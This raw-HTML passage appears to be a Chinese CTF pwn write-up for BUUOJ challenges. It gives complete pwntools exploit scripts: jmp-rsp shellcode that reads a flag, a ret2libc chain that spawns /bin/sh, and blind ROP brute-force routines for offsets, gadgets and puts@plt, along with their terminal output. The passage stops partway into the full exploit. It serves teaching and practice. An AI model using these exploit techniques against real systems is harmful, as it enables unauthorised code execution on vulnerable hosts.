<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="comment"># io = process(&quot;./bad&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">26570</span>)</span><br><span class="line">mmap=<span class="number">0x123000</span></span><br><span class="line">jmp_rsp=<span class="number">0x400a01</span></span><br><span class="line"></span><br><span class="line">payload1=asm(shellcraft.read(<span class="number">0</span>,mmap,<span class="number">0x100</span>))+asm(<span class="string">&quot;mov rax,0x123000; jmp rax&quot;</span>)</span><br><span class="line">payload1=payload1.ljust(<span class="number">0x28</span>,<span class="string">&#x27;a&#x27;</span>)</span><br><span class="line">payload1+=p64(jmp_rsp)+asm(<span class="string">&quot;sub rsp,0x30; jmp rsp&quot;</span>)</span><br><span class="line"></span><br><span class="line">payload=shellcraft.<span class="built_in">open</span>(<span class="string">&quot;./flag&quot;</span>)</span><br><span class="line">payload+=shellcraft.read(<span class="number">3</span>,mmap+<span class="number">0x100</span>,<span class="number">100</span>)</span><br><span class="line">payload+=shellcraft.write(<span class="number">1</span>,mmap+<span class="number">0x100</span>,<span class="number">100</span>)</span><br><span class="line">payload=asm(payload)</span><br><span class="line"></span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(payload1)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<p>其中<code>p64(jmp_rsp)+asm(&quot;sub rsp,0x30; jmp rsp&quot;)</code>，首先将rip指到栈上，然后后面写的jmp将rip指到我们写的shellcode上</p>
<h1 id="0x54-axb-2019-brop64（BROP）"><a href="#0x54-axb-2019-brop64（BROP）" class="headerlink" title="0x54.axb_2019_brop64（BROP）"></a>0x54.axb_2019_brop64（BROP）</h1><p>虽然给了elf，但这题其实是brop的题</p>
<h2 id="解法一：ret2libc"><a href="#解法一：ret2libc" class="headerlink" title="解法一：ret2libc"></a>解法一：ret2libc</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#coding:utf-8</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="comment"># io = process(&quot;./axb_2019_brop64&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">29353</span>)</span><br><span class="line">elf=ELF(<span class="string">&quot;./axb_2019_brop64&quot;</span>)</span><br><span class="line"><span class="comment"># libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-x64-2.23.so&quot;</span>)</span><br><span class="line">puts_got=elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_plt=elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">pop_rdi_ret = <span class="number">0x0000000000400963</span></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0xd0</span>+<span class="number">8</span>) + p64(pop_rdi_ret) +p64(puts_got)+p64(puts_plt)+p64(elf.sym[<span class="string">&#x27;main&#x27;</span>])</span><br><span class="line">io.recv()</span><br><span class="line">io.send(payload)</span><br><span class="line">puts_addr=u64(io.recvuntil(<span class="string">&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>,<span class="string">&#x27;\0&#x27;</span>))</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(puts_addr)</span><br><span class="line">base = puts_addr - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">sys_addr = base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh =  base + libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>).<span class="built_in">next</span>()</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0xd0</span>+<span class="number">8</span>) + p64(pop_rdi_ret) +p64(bin_sh)+p64(sys_addr)+p64(elf.sym[<span class="string">&#x27;main&#x27;</span>])</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>



<h2 id="解法二：brop"><a href="#解法二：brop" class="headerlink" title="解法二：brop"></a>解法二：brop</h2><blockquote>
<p>  <a target="_blank" rel="noopener" href="https://www.anquanke.com/post/id/196722">https://www.anquanke.com/post/id/196722</a></p>
<p>  <a target="_blank" rel="noopener" href="https://wooyun.js.org/drops/Blind%20Return%20Oriented%20Programming%20(BROP)%20Attack%20-%20%E6%94%BB%E5%87%BB%E5%8E%9F%E7%90%86.html">https://wooyun.js.org/drops/Blind%20Return%20Oriented%20Programming%20(BROP)%20Attack%20-%20%E6%94%BB%E5%87%BB%E5%8E%9F%E7%90%86.html</a></p>
<p>  <a target="_blank" rel="noopener" href="http://showlinkroom.me/2017/11/09/pwn%E4%B9%8BBROP/">http://showlinkroom.me/2017/11/09/pwn%E4%B9%8BBROP/</a></p>
</blockquote>
<p>输入%s%p等测试发现不是fmtstr的洞：</p>
<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ cyclic 400</span><br><span class="line">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad</span><br><span class="line">gwt@ubuntu:~/Desktop$ ./axb_2019_brop64 </span><br><span class="line">Hello,I am a computer Repeater updated.</span><br><span class="line">After a lot of machine learning,I know that the essence of man is a reread machine!</span><br><span class="line">So I<span class="string">&#x27;ll answer whatever you say!</span></span><br><span class="line"><span class="string">Please tell me:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad</span></span><br><span class="line"><span class="string">Repeater:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad</span></span><br><span class="line"><span class="string">@Segmentation fault (core dumped)</span></span><br></pre></td></tr></table></figure>

<p>存在溢出</p>
<h3 id="确定偏移量"><a href="#确定偏移量" class="headerlink" title="确定偏移量"></a>确定偏移量</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># coding=utf-8</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Force_find_padding</span>():</span></span><br><span class="line">    padding_length=<span class="number">0</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            padding_length=padding_length+<span class="number">1</span></span><br><span class="line">            sh = process(<span class="string">&quot;./axb_2019_brop64&quot;</span>)</span><br><span class="line">            sh.recvuntil(<span class="string">&quot;Please tell me:&quot;</span>)</span><br><span class="line">            sh.send(<span class="string">&#x27;A&#x27;</span> * padding_length)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;Goodbye!&quot;</span> <span class="keyword">not</span> <span class="keyword">in</span> sh.recvall():</span><br><span class="line">                <span class="keyword">raise</span> <span class="string">&quot;Programe not exit normally!&quot;</span></span><br><span class="line">            sh.close()</span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            log.success(<span class="string">&quot;The true padding length is &quot;</span>+<span class="built_in">str</span>(padding_length-<span class="number">1</span>))</span><br><span class="line">            <span class="keyword">return</span> padding_length</span><br><span class="line">    log.error(<span class="string">&quot;We don&#x27;t find true padding length!&quot;</span>)</span><br><span class="line"></span><br><span class="line">padding_length=<span class="number">0</span></span><br><span class="line"><span class="keyword">if</span> padding_length <span class="keyword">is</span> <span class="number">0</span>:</span><br><span class="line">    padding_length=Force_find_padding()</span><br></pre></td></tr></table></figure>

<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">.............</span><br><span class="line">[+] Receiving all data: Done (237B)</span><br><span class="line">[*] Process <span class="string">&#x27;./axb_2019_brop64&#x27;</span> stopped with <span class="built_in">exit</span> code 0 (pid 23755)</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./axb_2019_brop64&#x27;</span>: pid 23758</span><br><span class="line">[+] Receiving all data: Done (228B)</span><br><span class="line">[*] Process <span class="string">&#x27;./axb_2019_brop64&#x27;</span> stopped with <span class="built_in">exit</span> code -11 (SIGSEGV) (pid 23758)</span><br><span class="line">[+] The <span class="literal">true</span> padding length is 216</span><br><span class="line">gwt@ubuntu:~/Desktop$ </span><br></pre></td></tr></table></figure>

<h3 id="寻找stop-gadget"><a href="#寻找stop-gadget" class="headerlink" title="寻找stop gadget"></a>寻找<code>stop gadget</code></h3><p>此处我们希望我们能够爆破出main函数的首地址，进而直接让程序回到main函数进行执行。首先此处我们可以先泄露原来的返回地址，进而缩小爆破范围。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">old_return_addr=null</span><br><span class="line"><span class="keyword">if</span> old_return_addr <span class="keyword">is</span> null:</span><br><span class="line">    sh.recvuntil(<span class="string">&quot;Please tell me:&quot;</span>)</span><br><span class="line">    sh.send(<span class="string">&#x27;A&#x27;</span> * padding_length)</span><br><span class="line">    sh.recvuntil(<span class="string">&#x27;A&#x27;</span> * padding_length)</span><br><span class="line">    old_return_addr=u64(sh.recvuntil(<span class="string">&#x27;Goodbye!&#x27;</span>).strip(<span class="string">&#x27;Goodbye!&#x27;</span>).ljust(<span class="number">8</span>,<span class="string">&#x27;x00&#x27;</span>))</span><br><span class="line">    log.info(<span class="string">&#x27;The old return address is &#x27;</span>+ <span class="built_in">hex</span>(old_return_addr))</span><br><span class="line"><span class="comment"># [*] The old return address is 0x400834</span></span><br></pre></td></tr></table></figure>

<p>接下来爆破脚本(0x0000-0xffff)：</p>
<p>这里已经知道结果所以为了方便从0x7d0开始搞的</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Find_stop_gadget</span>(<span class="params">old_return_addr,padding_length</span>):</span></span><br><span class="line">    maybe_low_byte=<span class="number">0x07d0</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            sh = process(<span class="string">&quot;./axb_2019_brop64&quot;</span>)</span><br><span class="line">            sh.recvuntil(<span class="string">&quot;Please tell me:&quot;</span>)</span><br><span class="line">            sh.send(<span class="string">&#x27;A&#x27;</span> * padding_length + p16(maybe_low_byte))</span><br><span class="line">            <span class="keyword">if</span> maybe_low_byte &gt; <span class="number">0xFFFF</span>:</span><br><span class="line">                log.error(<span class="string">&quot;All low byte is wrong!&quot;</span>)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;Hello&quot;</span> <span class="keyword">in</span> sh.recvall(timeout=<span class="number">1</span>):</span><br><span class="line">                log.success(<span class="string">&quot;We found a stop gadget is &quot;</span> + <span class="built_in">hex</span>(old_return_addr+maybe_low_byte))</span><br><span class="line">                <span class="keyword">return</span> (old_return_addr+padding_length)</span><br><span class="line">            maybe_low_byte=maybe_low_byte+<span class="number">1</span></span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            <span class="keyword">pass</span></span><br><span class="line">            sh.close()</span><br><span class="line">Find_stop_gadget(old_return_addr,padding_length)</span><br></pre></td></tr></table></figure>

<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./axb_2019_brop64&#x27;</span>: pid 32243</span><br><span class="line">[+] Receiving all data: Done (400B)</span><br><span class="line">[*] Stopped process <span class="string">&#x27;./axb_2019_brop64&#x27;</span> (pid 32243)</span><br><span class="line">[+] We found a stop gadget is 0x4007d6</span><br><span class="line">gwt@ubuntu:~/Desktop$ </span><br></pre></td></tr></table></figure>

<h3 id="寻找BROP-gadget"><a href="#寻找BROP-gadget" class="headerlink" title="寻找BROP gadget"></a>寻找<code>BROP gadget</code></h3><p>根据<code>__libc_csu_init</code>，利用的payload：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">payload  = <span class="string">&#x27;A&#x27;</span> * padding_length </span><br><span class="line">payload += p64(libc_csu_init_address) </span><br><span class="line">payload += p64(<span class="number">0</span>) * <span class="number">6</span> </span><br><span class="line">payload += p64(stop_gadget) + p64(<span class="number">0</span>) * <span class="number">10</span></span><br></pre></td></tr></table></figure>

<p>如果<code>libc_csu_init_address</code>是pop rbx，那么程序会从stop_gadget重新执行。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Find_brop_gadget</span>(<span class="params">libc_csu_init_address_maybe,padding_length,stop_gadget</span>):</span></span><br><span class="line">    maybe_low_byte=<span class="number">0x0000</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            sh = process(<span class="string">&quot;./axb_2019_brop64&quot;</span>)</span><br><span class="line">            sh.recvuntil(<span class="string">&quot;Please tell me:&quot;</span>)</span><br><span class="line">            payload  = <span class="string">&#x27;A&#x27;</span> * padding_length </span><br><span class="line">            payload += p64(libc_csu_init_address_maybe+maybe_low_byte) </span><br><span class="line">            payload += p64(<span class="number">0</span>) * <span class="number">6</span> </span><br><span class="line">            payload += p64(stop_gadget) + p64(<span class="number">0</span>) * <span class="number">10</span></span><br><span class="line">            sh.send(payload)</span><br><span class="line">            <span class="keyword">if</span> maybe_low_byte &gt; <span class="number">0xFFFF</span>:</span><br><span class="line">                log.error(<span class="string">&quot;All low byte is wrong!&quot;</span>)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;Hello&quot;</span> <span class="keyword">in</span> sh.recvall(timeout=<span class="number">1</span>):</span><br><span class="line">                log.success(</span><br><span class="line">                    <span class="string">&quot;We found a brop gadget is &quot;</span> + <span class="built_in">hex</span>(</span><br><span class="line">                        libc_csu_init_address_maybe+maybe_low_byte</span><br><span class="line">                    )</span><br><span class="line">                )</span><br><span class="line">                <span class="keyword">return</span> (libc_csu_init_address_maybe+maybe_low_byte)</span><br><span class="line">            maybe_low_byte=maybe_low_byte+<span class="number">1</span></span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            <span class="keyword">pass</span></span><br><span class="line">            sh.close()</span><br><span class="line">brop_gadget=Find_brop_gadget(old_return_addr &amp; <span class="number">0xFFF000</span>,padding_length,stop_gadget)</span><br><span class="line"><span class="comment">#0x40095A</span></span><br></pre></td></tr></table></figure>

<h3 id="寻找puts-plt"><a href="#寻找puts-plt" class="headerlink" title="寻找puts@plt"></a>寻找puts@plt</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Find_func_plt</span>(<span class="params">func_plt_maybe,padding_length,stop_gadget,brop_gadget</span>):</span></span><br><span class="line">    maybe_low_byte=<span class="number">0x0600</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            sh = process(<span class="string">&quot;./axb_2019_brop64&quot;</span>)</span><br><span class="line">            sh.recvuntil(<span class="string">&quot;Please tell me:&quot;</span>)</span><br><span class="line">            payload  = <span class="string">&#x27;A&#x27;</span> * padding_length </span><br><span class="line">            payload += p64(brop_gadget+<span class="number">9</span>) <span class="comment"># pop rdi;ret;</span></span><br><span class="line">            payload += p64(<span class="number">0x400000</span>)</span><br><span class="line">            payload += p64(func_plt_maybe+maybe_low_byte)</span><br><span class="line">            payload += p64(stop_gadget)</span><br><span class="line">            sh.send(payload)</span><br><span class="line">            <span class="keyword">if</span> maybe_low_byte &gt; <span class="number">0xFFFF</span>:</span><br><span class="line">                log.error(<span class="string">&quot;All low byte is wrong!&quot;</span>)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;ELF&quot;</span> <span class="keyword">in</span> sh.recvall(timeout=<span class="number">1</span>):</span><br><span class="line">                log.success(</span><br><span class="line">                    <span class="string">&quot;We found a function plt address is &quot;</span> + <span class="built_in">hex</span>(func_plt_maybe+maybe_low_byte)</span><br><span class="line">                )</span><br><span class="line">                <span class="keyword">return</span> (func_plt_maybe+maybe_low_byte)</span><br><span class="line">            maybe_low_byte=maybe_low_byte+<span class="number">1</span></span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            <span class="keyword">pass</span></span><br><span class="line">            sh.close()</span><br><span class="line">func_plt=Find_func_plt(old_return_addr &amp; <span class="number">0xFFF000</span>,padding_length,stop_gadget,brop_gadget)</span><br><span class="line"><span class="comment"># func_plt=0x400635</span></span><br></pre></td></tr></table></figure>



<h3 id="利用puts-plt，Dump源文件"><a href="#利用puts-plt，Dump源文件" class="headerlink" title="利用puts@plt，Dump源文件"></a>利用puts@plt，Dump源文件</h3><p>我dump不出来。。。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Dump_file</span>(<span class="params">func_plt,padding_length,stop_gadget,brop_gadget</span>):</span></span><br><span class="line">    process_old_had_received_length=<span class="number">0</span></span><br><span class="line">    process_now_had_received_length=<span class="number">0</span></span><br><span class="line">    file_content=<span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            sh = process(<span class="string">&quot;./axb_2019_brop64&quot;</span>)</span><br><span class="line">            <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">                sh.recvuntil(<span class="string">&quot;Please tell me:&quot;</span>)</span><br><span class="line">                payload  = <span class="string">&#x27;A&#x27;</span> * (padding_length - <span class="built_in">len</span>(<span class="string">&#x27;Begin_leak-----&gt;&#x27;</span>))</span><br><span class="line">                payload += <span class="string">&#x27;Begin_leak-----&gt;&#x27;</span></span><br><span class="line">                payload += p64(brop_gadget+<span class="number">9</span>) <span class="comment"># pop rdi;ret;</span></span><br><span class="line">                payload += p64(<span class="number">0x400000</span>+process_now_had_received_length)</span><br><span class="line">                payload += p64(func_plt)</span><br><span class="line">                payload += p64(stop_gadget)</span><br><span class="line">                sh.send(payload)</span><br><span class="line">                sh.recvuntil(<span class="string">&#x27;Begin_leak-----&gt;&#x27;</span> + p64(brop_gadget+<span class="number">9</span>).strip(<span class="string">&#x27;x00&#x27;</span>))</span><br><span class="line">                received_data = sh.recvuntil(<span class="string">&#x27;x0AHello&#x27;</span>)[:-<span class="number">6</span>]</span><br><span class="line">                <span class="keyword">if</span> <span class="built_in">len</span>(received_data) == <span class="number">0</span> :</span><br><span class="line">                    file_content += <span class="string">&#x27;x00&#x27;</span></span><br><span class="line">                    process_now_had_received_length += <span class="number">1</span></span><br><span class="line">                <span class="keyword">else</span> :</span><br><span class="line">                    file_content += received_data</span><br><span class="line">                    process_now_had_received_length += <span class="built_in">len</span>(received_data)</span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            <span class="keyword">if</span> process_now_had_received_length == process_old_had_received_length :</span><br><span class="line">                log.info(<span class="string">&#x27;We get &#x27;</span> + <span class="built_in">str</span>(process_old_had_received_length) +<span class="string">&#x27; byte file!&#x27;</span>)</span><br><span class="line">                <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;axb_2019_brop64_dump&#x27;</span>,<span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> fout:</span><br><span class="line">                    fout.write(file_content)</span><br><span class="line">                <span class="keyword">return</span></span><br><span class="line">            process_old_had_received_length = process_now_had_received_length</span><br><span class="line">            sh.close()</span><br><span class="line">            <span class="keyword">pass</span></span><br></pre></td></tr></table></figure>

<h3 id="EXP"><a href="#EXP" class="headerlink" title="EXP"></a>EXP</h3><p>完整exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span 